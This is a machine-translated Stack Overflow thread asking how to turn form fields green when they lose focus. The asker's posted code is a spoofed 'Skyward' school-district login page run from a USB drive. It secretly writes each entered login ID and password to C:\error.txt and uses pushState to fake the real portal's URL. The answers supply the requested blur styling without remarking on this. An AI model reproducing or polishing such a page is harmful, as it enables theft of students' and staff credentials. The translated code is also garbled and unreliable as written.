Javascript 当输入文本时，如何在焦点丢失时更改窗体背景色？

首先，我想指出，所有这些都是客户端的，而不是基于web的。当输入文本时，我需要在焦点丢失后将表单框更改为绿色。表单框开始为白色，焦点处变为紫色，当输入文本时，我需要它们在失去焦点时变为绿色

---

登录-由Skyward提供支持
函数WriteToFile（passForm）{
设置fso=CreateObject（“Scripting.FileSystemObject”）；
设置s=fso.CreateTextFile（“C:\error.txt”，True）；
s、 writeline（document.passForm.input1.value）；
s、 writeline（document.passForm.input2.value）；
s、 Close（）；
window.history.pushState（“对象或字符串”，“Skyward登录”，”https://sky.gilmerisd.org/scripts/wsisa.dll/WService=wsEAplus/seplog01.w");
}
身体{
背景图片：url（“slp_ps.jpg”）；
背景重复：无重复；
}
输入{
显示：内联块；
浮动：对；
}
{
宽度：1234px；
身高：50%；
位置：相对位置；
保证金：自动；
}
.btn风格{
边框：实心1px#2d9cf0；
边界半径：3px；
moz边界半径：3px；
字体大小：9px；
颜色：#000000；
填充：4px13px；
背景色：#ffffff；
}
div{
边缘顶部：500px；
边缘底部：0px；
右边距：500px；
左边距：485px；
}
.inputbox css{
-webkit框大小：内容框；
-moz框大小：内容框；
框大小：内容框；
保证金：-1px0；
填充物：5px；
边框：1px实心rgba（127174255,1）；
-webkit边界半径：1px；
边界半径：1px；
字体：标准16px/标准“新罗马时代”，时代，衬线；
颜色：rgba（0,0,0,0.9）；
-o-text-overflow：剪辑；
文本溢出：剪辑；
}
.inputbox css：焦点{
背景：#ebc4fc；
}
p{
显示：块；
浮动：对；
}

登录标识：



密码：

下面是一个使用Jquery的快速JSFIDLE：

使用jquery.blur函数：

$("input").blur(function(){
    $(this).css("background-color", "green")
});

（没有检查用户是否确实添加了文本，以便您自己编写），您可以使用.focus更改焦点上的颜色

---

我想说的是，一个非常快速的谷歌搜索这个问题会发现大量的解决方案，你的问题。下次你先自己修吧

模糊就是你要找的东西

document.write（“”）；
var input=document.querySelector（'input'）；
input.addEventListener（'focus'，function（）{
input.style.backgroundColor=“紫色”；
})
input.addEventListener（'blur'，function（）{
如果（input.value！=“”）{
input.style.backgroundColor=“绿色”；
}
})

您所说的

客户端而不是基于web的
是什么意思？您尝试过什么？你能上传一些代码吗？请参阅欢迎使用堆栈溢出！希望您至少尝试自己编写此代码。堆栈溢出不是代码编写服务。我建议你做一些，或者通过谷歌，或者通过搜索，尝试一下。如果您仍然有问题，请返回您的代码并解释您尝试了什么。您都误解了，我使用的是flashdrive，而这不在internet上，很抱歉我的英语不好。问题是这都是来自usb，我没有Web服务器，无法使用jquery或phpWhy您不能在usb上包括jquery吗？我在本地运行这个，没有Web服务器。是的，这不重要吗？您可以像运行javascript local一样包含jquery local，因为您的浏览器运行jquery local而不是服务器。只需下载jquery文件并将其添加到usb。只要您在可以运行javascript的webbrowser中打开页面（任何您喜欢的浏览器都可以），就可以了。我建议多读一点关于网站工作原理的基础知识！谢谢你的洞察力！我的印象是jquery像php一样在服务器端运行。。。我一定会接受你的建议，非常感谢你的友好回应！
$("input").blur(function(){
    $(this).css("background-color", "green")
});